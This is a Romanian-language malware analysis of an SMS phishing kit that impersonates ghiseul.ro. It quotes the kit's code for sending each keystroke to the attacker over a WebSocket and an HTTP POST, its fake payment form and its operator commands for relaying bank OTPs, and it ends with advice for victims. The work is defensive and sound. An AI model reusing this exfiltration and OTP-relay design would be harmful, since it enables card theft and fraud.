Surse

Despre ce este vorba

Mii sau sute de mii de români au primit recent SMS-uri care imită ghiseul.ro și anunță „amenzi neplătite”. Linkul duce la un site care arată identic cu cel oficial. Spre deosebire de phishing-ul clasic, aici nu vorbim despre o pagină statică care fură date la submit. Este o aplicație web profesională, conectată la un panou de control unde un operator (uman sau automatizat) urmărește activitatea în timp real, literă cu literă, în timp ce tastezi, și inițiază tranzacții reale pe contul tău în secundele în care tu crezi că plătești o amendă.

Domeniul concret identificat în această analiză: ghiseul.my.id — un subdomeniu indonezian (.my.id) ales pentru că poate fi înregistrat gratuit și fără verificare, dar arată „suficient de credibil” într-un SMS scurt.

Documentul de față este o analiză tehnică ce are ca scop să disece funcționalitățile acestui atac și să creeze un semnal de alarmă prin care oamenii să fie mai atenți unde își introduc datele financiare.


1. Momeala

Totul începe cu un SMS:

„Aveți o amendă de circulație neplătită. Plătiți urgent pentru a evita executarea silită: [link]”

Două butoane psihologice apăsate simultan: autoritate (impersonarea unei instituții publice) și urgență (consecințe imediate). Multe SMS-uri vin de pe numere internaționale, inclusiv din Filipine care este primul semn de origine străină.

2. Pagina falsă: imită ghiseul.ro extrem de bine

Pagina arată identic cu cea oficială. În <head> găsim:

&lt;title>Ghiseul.ro - Sistemul National Electronic de Plata Online&lt;/title>

&lt;link rel="stylesheet" href="/www.ghiseul.ro/ghiseul/public/css/bootstrap.min.css">
&lt;link rel="stylesheet" href="/www.ghiseul.ro/ghiseul/public/css/style.css">

Autorii au descărcat fișierele CSS originale ale platformei oficiale (probabil cu wget --mirror) și le servesc de pe propriul domeniu (ghiseul.my.id). Singurul indicator de autenticitate rămas e URL-ul din bara de adrese pe care majoritatea utilizatorilor nu îl verifică.

Pe pagină vedem un câmp în care se cere numărul de înmatriculare. Atât. Minimalismul e intenționat: pentru că totul pare simplu și inofensiv, iar victima nu se simte în pericol.

Indiciile că e o structură reutilizabilă

Un site oficial ar avea în cod valori concrete cu numele exact al instituției, al tribunalului, suma calculată după lege. Aici găsim altceva:

const Ar = {
    region: "Romania",
    highwayType: "drumurile publice",
    courtName: "instanței competente",
    collectionAgency: "instituția beneficiară a plății"
}

Valori intenționat vagi: „instanței competente”, „instituția beneficiară” care sunt placeholdere generice, pentru că același obiect e completat cu valori diferite pentru fiecare țară.

Confirmările se acumulează din mai multe direcții:

Clase CSS reziduale: chile-input, chile-container, chile-header — copy-paste netradus dintr-o versiune anterioară pentru Republica Chile.

Traduceri sârbo-române în fișierul i18n:

{
  "Регистарска ознака": "Număr de înmatriculare",
  "Провери статус": "Verifică starea"
}

Cheia (stânga) e în sârbă chirilică, valoarea (dreapta) e română. Stringurile sursă mai conțin referiri la „JP Putevi Srbije” — compania națională de drumuri din Serbia. Înseamnă că versiunea românească a fost obținută prin traducerea versiunii sârbe, nu scrisă de la zero.

Identificator intern netradus în chineză tradițională:

Hr("首頁輸入", "plate", p.target.value)

首頁輸入 = „intrare pagină principală”. String invizibil în UI, trimis doar pe canalul de exfiltrare. Chineza tradițională (nu simplificată) restrânge originea la Taiwan / Hong Kong.

Nume de variabile fără sens: starea reactivă pentru plăcuță e stocată în phoneData.plateNumberphoneData n-are nicio legătură cu o plăcuță. Indiciu că structura de date a fost reciclată de la o variantă anterioară a kit-ului (probabil una care fura numere de telefon).

4. Cele două elemente importante de pe pagina numărului de înmatriculare

Input-ul în care tastezi numărul are două event listenere atașate:

y("input", {
    type: "text",
    required: "",
    "onUpdate:modelValue": h[0] || (h[0] = m => o.value.phoneData.plateNumber = m),  // ← cinstit
    onInput: u,                                                                        // ← periculos
    class: "chile-input"
}, null, 544)

Primul (onUpdate:modelValue) salvează valoarea în starea locală a formularului. Fără el, butonul de submit n-ar trimite nimic. E event listener necesar.

Al doilea (onInput: u) face altceva:

const u = p => {
    Hr("首頁輸入", "plate", p.target.value)
}

LA FIECARE TASTĂ APĂSATĂ, VALOAREA COMPLETĂ A CÂMPULUI AJUNGE LA ATACATOR

Nu la submit. Nu după validare. Pe măsură ce tastezi. Submit-ul e doar formalitatea deoarece datele au plecat deja, literă cu literă.

Această linie de cod nu e necesară pentru ca formularul să funcționeze. Există exclusiv ca să trimită datele atacatorului.

5. Mecanismul cheie: arhitectura duală de exfiltrare în timp real

Aici e secțiunea critică. Funcția Hr declanșează două canale paralele de exfiltrare, nu unul. Funcția completă:

function Hr(e, t, n) {
    const s = Date.now(),
          // Canalul 1 — WebSocket, debounce 300ms
          o = Pg(GB, t, (c, u, d) => {
              xe == null || xe.send(JSON.stringify({
                  event: "input_text",
                  content: { type: c, key: u, text: d },
                  timestamp: s
              }))
          }, 300),
          // Canalul 2 — HTTP POST, debounce 1000ms
          a = Pg(YB, t, (c, u, d) => {
              kv({ content: { type: c, key: u, text: d }, timestamp: s })
          }, 1e3);
    
    o(e, t, n);
    gy.value !== 2 &amp;&amp; a(e, t, n);
}

Unde kv se rezolvă la El.post("/SSwWKGyffN/api/input", e), iar Pg este un wrapper care creează funcții debounced cache-uite per câmp:

function Pg(e, t, n, s) {
    return e[t] || (e[t] = IR.debounce(n, s)), e[t]
}

Cele două obiecte goale GB = {} și YB = {} servesc ca dicționare de timere debounced pentru WS, respectiv HTTP — câte unul pentru fiecare câmp (cardNumber, cvv, etc.).

Canalul 1 — WebSocket persistent

wss://ghiseul.my.id/ws?token=&lt;uuid-victima>

Conexiune deschisă din momentul intrării pe pagină, menținută activă pe tot parcursul. Caracteristici dovedite prin captura analiza traficului intre client și server:

  • Persistent: apare în Network ca o singură intrare (statusul 101 Switching Protocols), dar mesajele care curg prin el sunt vizibile în sub-tab-ul Messages și sunt aproape invizibile
  • Bidirecțional: server-ul trimite înapoi comenzi de control
  • Heartbeat la 2 secunde în ambele direcții
  • Debounce 300ms pe keystroke-uri
  • Token UUID în query string corelează toate evenimentele unei victime

Canalul 2 — HTTP POST

POST /SSwWKGyffN/api/input?token=&lt;uuid-victima>

Apare în Network tab ca request-uri XHR normale. Caracteristici:

  • Debounce 1000ms — mai rar decât WS-ul, ca să nu spameze
  • Path ofuscat: /SSwWKGyffN/ e un string aleator, probabil generat per-deployment al kit-ului
  • Implementat cu Axios (El în cod) — librărie ultra-standard

De ce dual

  1. Robustețe: dacă o rețea blochează WebSocket-uri, HTTP-ul standard nu poate fi blocat fără a afecta și web app-ul
  2. Camuflaj: un POST /api/input arată ca orice „save progress” legitim
  3. Reziliență: pierderea WS-ului în timpul unei schimbări de rețea nu duce la pierderea datelor

6. Dovada vizuală a ce se întâmplă in conexiunea Websocket

În sub-tab-ul Messages al WebSocket-ului, capturi reale prinse în direct:

↑ 23:07:02.381  {"event":"heartbeat","content":{"tag":"user"}}

↓ 23:07:02.612  {"event":"heartbeat","content":{"time":1779048422},
                 "messageId":"qj3tp901000dil816nwoilxv4141l3um"}

↑ 23:07:04.132  {"event":"input_text",
                 "content":{"type":"首頁輸入","key":"plate","text":"AA"},
                 "timestamp":1779048424136,
                 "messageId":"1779048424136-qjxbq726o"}

Fiecare linie decodificată:

Heartbeat client → server (la 2s): tu îi semnalezi atacatorului că ești încă pe pagină. Conform heartbeatInterval: 2e3 din cod.

Heartbeat server → client: atacatorul îți răspunde cu propriul pulse, conținând time (timestamp Unix în secunde) și un messageId. Dovada că server-ul e activ și interactiv, nu doar receptor pasiv.

Mesaj input_text: tu ai tastat „AA” în câmpul de plăcuță. În mai puțin de 300ms (debounce-ul WS), valoarea completă a ajuns la atacator. Cu identificatorul chinezesc 首頁輸入 direct vizibil în payload și exact ca în codul sursă.

Detaliu tehnic: formatele de messageId

Cele două ID-uri ne dezvăluie ceva despre arhitectura atacatorului:

Server-side: qj3tp901000dil816nwoilxv4141l3um — 32 caractere alfanumerice mici, format NanoID cu alfabet și lungime customizate. Generat de backend-ul atacatorului.

Client-side: 1779048424136-qjxbq726o — timestamp Unix în milisecunde + sufix random Base36. Format tipic JavaScript, generat probabil prin:

`${Date.now()}-${Math.random().toString(36).slice(2, 11)}`

Două formate diferite înseamnă două sisteme separate — frontend (Vue/JS) și backend (probabil Node.js cu NanoID). Detaliu fin de arhitectură, dar arată că vorbim de un produs construit mai profesional, nu de un script improvizat.

Fiecare mesaj are messageId pentru a permite acknowledgments — în clasa Qk din cod există explicit case "ack": this.handleAck(n.messageId). Nimic nu se pierde. Fiecare tastă apăsată e garantată să ajungă la atacator.

CONSECINȚĂ PRACTICĂ

Tot ce tastezi pleacă la atacator în mai puțin de o secundă, prin două canale redundante cu confirmare de recepție. Nu există moment în care „te poți răzgândi înainte de submit”. Submit-ul doar confirmă. Dacă închizi tab-ul după ce ai tastat numărul cardului dar înainte de submit, atacatorul are deja cardul. Dacă închizi după ce ai tastat OTP-ul, atacatorul a folosit deja OTP-ul într-o tranzacție reală.

7. Submit-ul fals

La click pe butonul „Verifică”, se execută:

d = () => {
    a.value = !0;
    setTimeout(() => {
        localStorage.setItem("plateNumber", o.value.phoneData.plateNumber);
        s.setLoading(!0);
        setTimeout(() => {
            n.push("/pay")
        }, 200)
    }, 2500)
}

Nu există niciun apel către un server pentru „verificarea amenzii”. Doar un setTimeout de 2,5 secunde, apoi redirecționarea la /pay. „Consultarea bazei de date” e pură teatralitate. Suma „amenzii” pe care o vei vedea în continuare e inventată sau preluată din configurație — nu e calculată din plăcuța ta.

8. Pagina de plată: capcana cu autofill

Formularul pentru card arată așa:

&lt;input type="text" class="">                                              &lt;!-- Nume -->
&lt;input type="text" placeholder="0000 0000 0000 0000" class="">            &lt;!-- Număr card -->
&lt;input type="text" placeholder="MM/YY" class="">                          &lt;!-- Expirare -->
&lt;input type="text" placeholder="123" maxlength="4" class="">              &lt;!-- CVV -->

Niciun atribut autocomplete. Niciun name, id, inputmode, pattern. Pe <form> apare atributul novalidate care dezactivează explicit validarea browser-ului.

Observam totuși lipsa atributelor autocomplete="cc-*" (standard W3C pentru carduri).

In mod surprinzator Chrome modern oferă oricum autofill, prin clasificator local care recunoaște formele de plată din context (placeholder 0000 0000 0000 0000, etichetă „Numărul cardului”, iconițe Visa/MC). Dacă utilizatorul vede dropdown-ul și dă click crezând că închide notificarea, cardul ajunge în câmpuri, evenimentul input se declanșează, iar atacatorul are PAN-ul fără ca utilizatorul să fi tastat vreo cifră.

Important: la hover (fără click), Chrome doar previzualizează vizual. Datele se exfiltrează doar la click.


9. Cireașa pe tort: cineva sau ceva chiar urmărește activitatea în timp real

Acest site nu procesează nimic automat. Este un teatru de păpuși cu sforile trase din panoul de control al atacatorului. Codul include o funcție care primește comenzi de la server și le traduce în acțiuni vizibile pe ecranul tău:

const t = {
    customOtpValid: () => bu("/customOtpValid", e),      // → pagină OTP custom
    otpValid: () => bu("/otpValid", e),                   // → pagină OTP standard
    appValid: () => bu("/appValid", e),                   // → pagină de validare în aplicație
    success: () => Ti.push("/success"),                   // → „plată reușită"
    kickOut: el,                                          // → dă victima afară
    block: el,                                            // → blochează victima
    otpFail: () => Yn.emit("otp-valid", {                // → „cod incorect, mai încearcă"
        message2: e.value.message2 || tl.global.t("Verification code error, please try again")
    }),
    appFail: () => Yn.emit("app-valid", { /* ... */ }),
    back: () => Mg(e, !0),                                // → întoarce la pasul anterior
    reject: () => Mg(e, !1),                              // → respinge cardul, cere altul
    refresh: () => { window.location.reload() }
};

Acestea sunt butoanele din panoul operatorului. Automatizate probabil în timp real, transmit comenzi prin WebSocket către clientul victimei. Verificat în cod: singura cale prin care kit-ul afișează aceste mesaje e printr-o comandă explicită de la server, prin evenimentul result_type. Nu există validare locală. Nu există timer client-side. Nu există logică autonomă.

Tradus în limbaj de utilizator:

  • Nu îi place primul card → reject → tu vezi „acest card nu e acceptat, încearcă altul” → tu îi dai datele celui de-al doilea card
  • Banca ta cere validare prin aplicație → appValid → te trimite pe pagina cu „așteaptă confirmarea din app”
  • A reușit prima tranzacție și vrea încă una → otpFail → tu vezi „cod incorect, mai trimite unul”
  • Începi să te prinzi → block → ecran de eroare, conexiunea moare
  • A terminat ce-a vrut → success → tu vezi „plată reușită” și închizi tab-ul liniștit

Operator uman sau automatizat?

În schemele de fraudă mari, ambele:

  • Operatori umani se ocupă de victimele „de calitate” — carduri premium, sume mari, scenarii care cer improvizație
  • Scripturi automate (de obicei cu Selenium/Puppeteer pe partea atacatorului) se ocupă de volum, când multe victime sunt simultan în flux

Din panoul de control, operatorul vede o listă cu victime active, ca un dashboard. Apasă pe o victimă, vede ce tastează în timp real, intervine când e nevoie.


10. Cronologia atacului real: 60-90 de secunde

ÎN ACESTE SECUNDE SE GOLEȘTE CONTUL

Secunda 0: Tastezi numărul cardului. Atacatorul îl primește în 300ms.

Secunda 5: În mod ipotetic operatorul (sau scriptul) deschide site-ul unui comerciant real și un site care vinde carduri-cadou Amazon de €800 sau permite transferuri rapide în crypto. Introduce datele cardului tău.

Secunda 15: Comerciantul cere autorizare la banca ta. Banca îți trimite un SMS cu OTP sau o notificare:

„Cod 847291 pentru tranzacția de €800 la AmazonGiftCards.com.” sau “Confirmați tranzacția”

Secunda 25: Pe site-ul fals vezi ecran de OTP cu „Introduceți codul SMS pentru a confirma plata amenzii de $6.99″. Tu asumi că SMS-ul/notificarea e pentru amenda ta și tastezi 847291. Ori confirmi în aplicație.

Secunda 26: Codul/Acceptarea în aplicație ajunge la atacator în 300ms.

Secunda 28: Banca validează, iar codul e corect, e în fereastra de validitate, e pentru tranzacția corectă. Tranzacția de €800 e aprobată.

Secunda 30: Atacatorul apasă otpFail în panou. Tu vezi „cod incorect, încearcă din nou”.

Secunda 35: Aștepți un nou SMS ori notificare. Iar banca îți trimite unul — pentru a doua tranzacție pe care atacatorul tocmai a inițiat-o în paralel.

Secunda 60: Operațiunea se repetă până la limita zilnică a cardului. Apoi atacatorul apasă success. Tu vezi „plată reușită”, închizi tab-ul, mergi la treburile tale. Nu verifici banca ore întregi.

În aceste ore, banii sunt convertiți în crypto sau trecuți prin câteva conturi-paravan. Când seara primești în sfârșit alertele bancare reale, e prea târziu.


11. „Cod incorect, încearcă din nou” este vrăjeală pură

Acest detaliu merită subliniat:

otpFail: () => Yn.emit("otp-valid", {
    message2: e.value.message2 || tl.global.t("Verification code error, please try again")
})

ACEST MESAJ NU ARE NICIO LEGĂTURĂ CU VALIDITATEA CODULUI TĂU

Confirmat în cod: singura cale prin care vezi „cod incorect” este ca server-ul atacatorului să-ți trimită explicit comanda {event:"result_type", content:{type:"otpFail", ...}} prin WebSocket. Nu există nicio logică locală care să afișeze acest mesaj automat.

Codul tău OTP a fost perfect. Atacatorul l-a folosit deja la o tranzacție reală. Mesajul „cod incorect” e o comandă apăsată de un om (sau script) în panoul lui, cu un singur scop: să te facă să aștepți un al doilea SMS, pentru a aproba o a doua tranzacție.

Mesajul poate fi personalizat de operator prin câmpul e.value.message2. Texte tipice: „Codul a expirat”, „Verificare suplimentară necesară din motive de securitate”, „Banca dvs. necesită confirmare suplimentară”. Toate sunt minciuni servite în direct.


12. De ce OTP-ul nu poate fi folosit „mai târziu”

„Atunci de ce mai are nevoie de OTP, nu îl poate folosi mâine?”

Nu poate. OTP-ul este:

  • Single-use — invalidat după prima folosire
  • Time-limited — expiră în 60-300 de secunde
  • Transaction-bound — legat de o sumă și un comerciant specifice
  • Channel-bound — livrat la telefonul tău, nu al atacatorului

Acesta e și marele câștig al PSD2/SCA: a eliminat modelul vechi de carding (colectează acum, folosește mai târziu). Date de card fără OTP valid în acea secundă = aproape inutile în UE.

Exact de aceea atacul trebuie să fie în timp real. Întreaga arhitectură cu WebSocket persistent, heartbeat-uri bidirecționale la 2 secunde, debounce de 300ms, mecanismul de acknowledgments, există pentru că OTP-ul trebuie folosit imediat sau e invalid.


13. SMS trebuie citit cu atenție

În acea fereastră de 60 de secunde, tu ești ultima linie de apărare. SMS-ul de OTP de la o bancă europeană conține trei informații critice:

  1. Suma reală — SMS-ul spune €800, site-ul fals spune $6.99
  2. Numele comerciantului — SMS-ul spune AmazonGiftCards, site-ul spune amendă rutieră
  3. Avertismentul — „Nu împărtăși acest cod cu nimeni”

REGULA SIMPLĂ

Înainte să tastezi orice OTP sau să accepți tranzacția, oriunde, citește cu atenție. Verifică suma. Verifică comerciantul. Dacă vreuna nu se potrivește cu ce crezi că plătești, nu tasta codul/nu accepta tranzacția.

Cinci secunde de atenție opresc un atac construit din zeci de mii de linii de cod.

14. Dacă ai căzut victimă

În ordinea urgenței:

  1. Blochează cardul imediat din aplicația băncii.
  2. Verifică tranzacțiile ultimele 24h, inclusiv pe cele „în așteptare”. Inițiază dispute.
  3. Raportează la DNSC prin 1911 sau pe pnrisc.dnsc.ro. Atașează URL-ul (ghiseul.my.id),
  4. Plângere la Poliție / DCCO dacă ai pagubă materială.
  5. Raportează domeniul la PANDI (registrarul .my.id) la abuse@pandi.id
  6. Raportează la Google Safe Browsing: https://safebrowsing.google.com/safebrowsing/report_phish/
  7. Schimbă parolele la conturile unde foloseai parole comune cu emailul de pe site.
  8. Atenție săptămânile următoare — vor urma încercări secundare („sunt de la departamentul de fraudă, am observat tranzacții suspecte…”). Tot acel tip de apel/SMS e următoarea etapă a atacului.